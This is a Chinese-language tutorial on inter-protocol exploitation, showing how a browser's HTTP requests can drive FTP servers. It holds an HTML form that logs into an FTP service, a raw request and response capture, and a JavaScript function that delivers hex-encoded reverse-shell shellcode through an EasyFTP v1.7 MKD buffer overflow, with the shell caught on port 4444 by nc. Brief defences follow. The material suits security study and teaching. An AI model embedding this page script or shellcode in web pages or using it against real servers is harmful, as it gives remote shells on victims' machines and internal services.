跨協(xié)議通信技術(shù)利用及防御
什么是跨協(xié)議通信
跨協(xié)議通信技術(shù)(Inter-Protocol Communication)是指兩種不同的協(xié)議可以交換指令和數(shù)據(jù)的技術(shù)。其中一種稱為目標協(xié)議,另外一種稱為載體協(xié)議。目標協(xié)議就是我們最終想要通信的協(xié)議,而載體協(xié)議是用來封裝我們最后想要發(fā)送的指令和數(shù)據(jù)。
這種類型的通信想要完成有兩個必要條件:
1. 目標協(xié)議必須容錯性比較好.這是因為我們是通過一個載體協(xié)議來傳輸指令的,這樣就很可能會摻雜一些目標協(xié)議無法識別的指令。
2. 載體協(xié)議能夠封裝目標協(xié)議的指令.即使目標協(xié)議無法識別所有封裝過的指令,也必須能夠識別最終要的部分指令。
如何利用跨協(xié)議通信
跨協(xié)議漏洞利用(Inter-Protocol Expoitation)是通過一種協(xié)議去攻擊運行另外一種協(xié)議的服務。
大家最關(guān)注的還是載體協(xié)議是HTTP的時候,因為這樣攻擊者就可以通過人人都有瀏覽器來發(fā)起攻擊了。這種類型的攻擊可以讓攻擊者訪問到本來只有受害者才有權(quán)訪問的資源和服務(比如內(nèi)網(wǎng)不對外開放的服務)。這個過程中受害者充當了一個傀儡的角色,接收并執(zhí)行了有風險的代碼.
一些用換行來作為命令分隔符的協(xié)議,比如SMTP,POP3,IRC和FTP都會受這種攻擊的影響.這是因為當目標協(xié)議處理多行數(shù)據(jù)的時候是一行一行單獨處理的.而這些協(xié)議的容錯性都比較好.這就使得這些協(xié)議忽略掉識別不了的行,只執(zhí)行可以識別的代碼.
為了更好的理解跨協(xié)議通信,我們來看一個簡單的例子.
示例一:通過HTTP連接FTP服務器
通過瀏覽器連接ftp服務器非常簡單,一個HTTP POST請求就可以了.下面是一個連接本機的FTP服務器的代碼.
- <form method='POST' action='http://localhost:21' enctype='multipart/form-data'>
- <input type='hidden' name='a' value='user secforce'>
- <input type='hidden' name='a' value='pass secforce'>
- <input type='submit'>
- </form>
假設(shè)這個FTP用戶密碼存在的話,提交這個表單就可以登錄到FTP服務器了.是不是很簡單.
具體發(fā)送的POST請求數(shù)據(jù)包如下:
POST / HTTP/1.1 Host: 127.0.0.1:21 User-Agent: Mozilla/5.0 (X11; Debian; Linux x86_32; rv:16.0) Gecko/20110007 Firefox/20.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-gb,en;q=0.5 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------63079936718166855021600323653 Content-Length: 304 -----------------------------63079936718166855021600323653 Content-Disposition: form-data; name="a" user secforce -----------------------------63079936718166855021600323653 Content-Disposition: form-data; name="a" pass secforce -----------------------------63079936718166855021600323653--
我們接收到返回數(shù)據(jù)如下.所有的50X錯誤對應服務器無法識別的HTTP行.FTP服務器忽略了他們,執(zhí)行了它可以識別的命令.
220--------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220-Local time is now 12:41. Server port: 21. 220-This is a private system - No anonymous login 220 You will be disconnected after 15 minutes of inactivity. 530 You aren't logged in 500 ? 500 ? 500 ? 500 ? 500 ? 500 ? 500 ? 500 ? 500 ? 500 ? 500 ? 500 ? 331 User secforce OK. Password required 500 ? 500 ? 500 ? 230 OK. Current directory is / 500 ?
自己測試的話你可能發(fā)現(xiàn)并不是所有的FTP命令都正常工作.像MKD/RMD和DEL工作正常,GET/PUT,RETR/STOR無法正常工作.這是因為FTP是一種帶外(out-of-band)協(xié)議,它的數(shù)據(jù)和控制指令是通過不同的TCP端口傳送的.事實上,如果你嘗試用STOR命令上傳一個文件到服務器上,會發(fā)現(xiàn)在服務器上創(chuàng)建了一個同名的空文件.這是因為在文件開始傳輸數(shù)據(jù)之前先創(chuàng)建一個空文件,所有的命令都不需要一個單獨的數(shù)據(jù)連接就可以工作。
讓我們看一個更加有趣的例子。
示例2:通過HTTP溢出FTP服務器反彈shell
這個例子中我們使用EasyFTP v1.7,這個版本存在一個MKD命令的緩沖區(qū)溢出漏洞.需要注意的是這個命令不需要一個額外的數(shù)據(jù)連接通道就可以成功執(zhí)行.我們在虛擬機里搭建好服務器(192.168.1.10),創(chuàng)建"anonymous"用戶.因為成功利用這個漏洞的前提是先登錄到FTP服務器.
因為沒有必要重復造輪子,這里我們直接使用一個公開的漏洞利用代碼(參考資料[1]])來構(gòu)造POST請求.這次使用javascript來發(fā)送shellcode到FTP服務器.為了成功發(fā)送shellcode,我們使用了sendAsBinary函數(shù).
最后的函數(shù)如下:
function exploit(){
var url = 'http://192.168.1.10:21'
var intro = 'USER anonymous\r\nPASS anonymous\r\n'
var payload = 'MKD \x89\xe7\x81\xef\x10\xfe\xff\xff\xc7\x07\x13\x57\x7e\xd6\x81\xc7
\x14\xff\xff\xff\xff\xe7\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43
\xba\xae\x16\xd0\x74\xd9\xcc\xd9\x74\x24\xf4\x5e\x29\xc9\xb1\x4f
\x31\x56\x14\x83\xee\xfc\x03\x56\x10\x4c\xe3\x2c\x9c\x19\x0c\xcd
\x5d\x79\x84\x28\x6c\xab\xf2\x39\xdd\x7b\x70\x6f\xee\xf0\xd4\x84
\x65\x74\xf1\xab\xce\x32\x27\x85\xcf\xf3\xe7\x49\x13\x92\x9b\x93
\x40\x74\xa5\x5b\x95\x75\xe2\x86\x56\x27\xbb\xcd\xc5\xd7\xc8\x90
\xd5\xd6\x1e\x9f\x66\xa0\x1b\x60\x12\x1a\x25\xb1\x8b\x11\x6d\x29
\xa7\x7d\x4e\x48\x64\x9e\xb2\x03\x01\x54\x40\x92\xc3\xa5\xa9\xa4
\x2b\x69\x94\x08\xa6\x70\xd0\xaf\x59\x07\x2a\xcc\xe4\x1f\xe9\xae
\x32\xaa\xec\x09\xb0\x0c\xd5\xa8\x15\xca\x9e\xa7\xd2\x99\xf9\xab
\xe5\x4e\x72\xd7\x6e\x71\x55\x51\x34\x55\x71\x39\xee\xf4\x20\xe7
\x41\x09\x32\x4f\x3d\xaf\x38\x62\x2a\xc9\x62\xeb\x9f\xe7\x9c\xeb
\xb7\x70\xee\xd9\x18\x2a\x78\x52\xd0\xf4\x7f\x95\xcb\x40\xef\x68
\xf4\xb0\x39\xaf\xa0\xe0\x51\x06\xc9\x6b\xa2\xa7\x1c\x3b\xf2\x07
\xcf\xfb\xa2\xe7\xbf\x93\xa8\xe7\xe0\x83\xd2\x2d\x97\x84\x45\x62
\xb8\x1a\x92\x12\xbb\x1a\x8b\xbe\x32\xfc\xc1\x2e\xec\x41\x40\x00
\x3e\x23\x1f\x17\x95\xa3\xbc\x8a\x72\x33\xca\xb6\x2c\x64\x9b\x09
\x25\xe0\x31\x33\x9f\x16\xc8\xa5\xd8\x92\x17\x16\xe6\x1b\xd5\x22
\xcc\x0b\x23\xaa\x48\x7f\xfb\xfd\x06\x29\xbd\x57\xe9\x83\x17\x0b
\xa3\x43\xe1\x67\x74\x15\xee\xad\x02\xf9\x5f\x18\x53\x06\x6f\xcc
\x53\x7f\x8d\x6c\x9b\xaa\x15\x8c\x7e\x7e\x60\x25\x27\xeb\xc9\x28
\xd8\xc6\x0e\x55\x5b\xe2\xee\xa2\x43\x87\xeb\xef\xc3\x74\x86\x60
\xa6\x7a\x35\x80\xe3'
var req = new XMLHttpRequest();
req.open('POST', url, true);
req.setRequestHeader('Content-Type', 'text/plain');
req.setRequestHeader('Content-Length', '20');
req.sendAsBinary(intro + payload + '\r\n'); // neat way to send hexadecimal code through HTTP
}
這里的payload選用了反彈shell到我們自己主機的端口4444.然后用nc監(jiān)聽.當在瀏覽器中訪問嵌入了上面js代碼的網(wǎng)頁時.奇跡發(fā)生了.
如何防御攻擊
1. 屏蔽端口.默認情況下,大部分瀏覽器會拒絕連接到一些著名的端口,比如21/FTP,25/SMTP等.這種保護方式可以通過修改瀏覽器配置或者使用非標準端口突破.
2. 更少的容錯性.一些協(xié)議接受到無法識別的命令的時候會關(guān)閉連接.這樣子降低了靈活性但是增強了抵御跨協(xié)議攻擊的能力.更好一點的做法是連續(xù)接收到無法識別的命令后關(guān)閉連接.
結(jié)論
正如上面提到的,這種攻擊方式有很多限制.通常情況下,想要達到同樣的結(jié)果有很多比跨協(xié)議攻擊更好的方式.但是在特定的環(huán)境下,這種類型的攻擊是一種很有效的攻擊方式.

























